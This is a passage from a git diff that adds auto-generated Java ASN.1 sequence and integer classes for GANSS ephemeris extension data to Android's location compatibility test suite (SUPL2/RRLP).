+ public String toIndentedString(String indent) {
+ return "scale_delta_tgd2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisDeltaScales = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
new file mode 100755
index 0000000..5387259
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisExtension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisExtension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisExtension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisExtension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisExtension != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisExtension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtension from encoded stream.
+ */
+ public static GANSSEphemerisExtension fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisExtension result = new GANSSEphemerisExtension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtension from encoded stream.
+ */
+ public static GANSSEphemerisExtension fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisExtension result = new GANSSEphemerisExtension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEphemerisExtensionHeader ganssEphemerisHeader_;
+ public GANSSEphemerisExtensionHeader getGanssEphemerisHeader() {
+ return ganssEphemerisHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionHeader
+ */
+ public void setGanssEphemerisHeader(Asn1Object value) {
+ this.ganssEphemerisHeader_ = (GANSSEphemerisExtensionHeader) value;
+ }
+ public GANSSEphemerisExtensionHeader setGanssEphemerisHeaderToNewInstance() {
+ ganssEphemerisHeader_ = new GANSSEphemerisExtensionHeader();
+ return ganssEphemerisHeader_;
+ }
+
+ private SeqOfGANSSRefOrbit ganssReferenceSet_;
+ public SeqOfGANSSRefOrbit getGanssReferenceSet() {
+ return ganssReferenceSet_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSRefOrbit
+ */
+ public void setGanssReferenceSet(Asn1Object value) {
+ this.ganssReferenceSet_ = (SeqOfGANSSRefOrbit) value;
+ }
+ public SeqOfGANSSRefOrbit setGanssReferenceSetToNewInstance() {
+ ganssReferenceSet_ = new SeqOfGANSSRefOrbit();
+ return ganssReferenceSet_;
+ }
+
+ private GANSSEphemerisDeltaMatrix ganssephemerisDeltasMatrix_;
+ public GANSSEphemerisDeltaMatrix getGanssephemerisDeltasMatrix() {
+ return ganssephemerisDeltasMatrix_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaMatrix
+ */
+ public void setGanssephemerisDeltasMatrix(Asn1Object value) {
+ this.ganssephemerisDeltasMatrix_ = (GANSSEphemerisDeltaMatrix) value;
+ }
+ public GANSSEphemerisDeltaMatrix setGanssephemerisDeltasMatrixToNewInstance() {
+ ganssephemerisDeltasMatrix_ = new GANSSEphemerisDeltaMatrix();
+ return ganssephemerisDeltasMatrix_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEphemerisHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEphemerisHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEphemerisHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEphemerisHeader : "
+ + getGanssEphemerisHeader().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssReferenceSet() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssReferenceSet();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssReferenceSetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSRefOrbit.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssReferenceSet : "
+ + getGanssReferenceSet().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssephemerisDeltasMatrix() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssephemerisDeltasMatrix();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssephemerisDeltasMatrixToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaMatrix.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssephemerisDeltasMatrix : "
+ + getGanssephemerisDeltasMatrix().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisExtension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
new file mode 100755
index 0000000..356b2a4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisExtensionCheck extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisExtensionCheck
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisExtensionCheck() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisExtensionCheck;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisExtensionCheck != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisExtensionCheck);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionCheck from encoded stream.
+ */
+ public static GANSSEphemerisExtensionCheck fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionCheck result = new GANSSEphemerisExtensionCheck();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionCheck from encoded stream.
+ */
+ public static GANSSEphemerisExtensionCheck fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionCheck result = new GANSSEphemerisExtensionCheck();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEphemerisExtensionTime ganssBeginTime_;
+ public GANSSEphemerisExtensionTime getGanssBeginTime() {
+ return ganssBeginTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionTime
+ */
+ public void setGanssBeginTime(Asn1Object value) {
+ this.ganssBeginTime_ = (GANSSEphemerisExtensionTime) value;
+ }
+ public GANSSEphemerisExtensionTime setGanssBeginTimeToNewInstance() {
+ ganssBeginTime_ = new GANSSEphemerisExtensionTime();
+ return ganssBeginTime_;
+ }
+
+ private GANSSEphemerisExtensionTime ganssEndTime_;
+ public GANSSEphemerisExtensionTime getGanssEndTime() {
+ return ganssEndTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionTime
+ */
+ public void setGanssEndTime(Asn1Object value) {
+ this.ganssEndTime_ = (GANSSEphemerisExtensionTime) value;
+ }
+ public GANSSEphemerisExtensionTime setGanssEndTimeToNewInstance() {
+ ganssEndTime_ = new GANSSEphemerisExtensionTime();
+ return ganssEndTime_;
+ }
+
+ private GANSSSatEventsInfo ganssSatEventsInfo_;
+ public GANSSSatEventsInfo getGanssSatEventsInfo() {
+ return ganssSatEventsInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSatEventsInfo
+ */
+ public void setGanssSatEventsInfo(Asn1Object value) {
+ this.ganssSatEventsInfo_ = (GANSSSatEventsInfo) value;
+ }
+ public GANSSSatEventsInfo setGanssSatEventsInfoToNewInstance() {
+ ganssSatEventsInfo_ = new GANSSSatEventsInfo();
+ return ganssSatEventsInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssBeginTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssBeginTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssBeginTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssBeginTime : "
+ + getGanssBeginTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEndTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEndTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEndTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEndTime : "
+ + getGanssEndTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSatEventsInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSatEventsInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSatEventsInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSatEventsInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSatEventsInfo : "
+ + getGanssSatEventsInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisExtensionCheck = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
new file mode 100755
index 0000000..7370353
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisExtensionHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisExtensionHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisExtensionHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisExtensionHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisExtensionHeader != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisExtensionHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionHeader from encoded stream.
+ */
+ public static GANSSEphemerisExtensionHeader fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionHeader result = new GANSSEphemerisExtensionHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionHeader from encoded stream.
+ */
+ public static GANSSEphemerisExtensionHeader fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionHeader result = new GANSSEphemerisExtensionHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEphemerisExtensionTime timeAtEstimation_;
+ public GANSSEphemerisExtensionTime getTimeAtEstimation() {
+ return timeAtEstimation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionTime
+ */
+ public void setTimeAtEstimation(Asn1Object value) {
+ this.timeAtEstimation_ = (GANSSEphemerisExtensionTime) value;
+ }
+ public GANSSEphemerisExtensionTime setTimeAtEstimationToNewInstance() {
+ timeAtEstimation_ = new GANSSEphemerisExtensionTime();
+ return timeAtEstimation_;
+ }
+
+ private GANSSEphemerisExtensionHeader.validityPeriodType validityPeriod_;
+ public GANSSEphemerisExtensionHeader.validityPeriodType getValidityPeriod() {
+ return validityPeriod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionHeader.validityPeriodType
+ */
+ public void setValidityPeriod(Asn1Object value) {
+ this.validityPeriod_ = (GANSSEphemerisExtensionHeader.validityPeriodType) value;
+ }
+ public GANSSEphemerisExtensionHeader.validityPeriodType setValidityPeriodToNewInstance() {
+ validityPeriod_ = new GANSSEphemerisExtensionHeader.validityPeriodType();
+ return validityPeriod_;
+ }
+
+ private GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType ephemerisExtensionDuration_;
+ public GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType getEphemerisExtensionDuration() {
+ return ephemerisExtensionDuration_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType
+ */
+ public void setEphemerisExtensionDuration(Asn1Object value) {
+ this.ephemerisExtensionDuration_ = (GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType) value;
+ }
+ public GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType setEphemerisExtensionDurationToNewInstance() {
+ ephemerisExtensionDuration_ = new GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType();
+ return ephemerisExtensionDuration_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeAtEstimation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeAtEstimation();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeAtEstimationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeAtEstimation : "
+ + getTimeAtEstimation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionHeader.validityPeriodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "validityPeriod : "
+ + getValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisExtensionDuration() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisExtensionDuration();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisExtensionDurationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionHeader.ephemerisExtensionDurationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisExtensionDuration : "
+ + getEphemerisExtensionDuration().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class validityPeriodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_validityPeriodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public validityPeriodType() {
+ super();
+ setValueRange("1", "8");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_validityPeriodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_validityPeriodType != null) {
+ return ImmutableList.of(TAG_validityPeriodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerUnaligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerAligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "validityPeriodType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemerisExtensionDurationType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemerisExtensionDurationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemerisExtensionDurationType() {
+ super();
+ setValueRange("1", "512");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
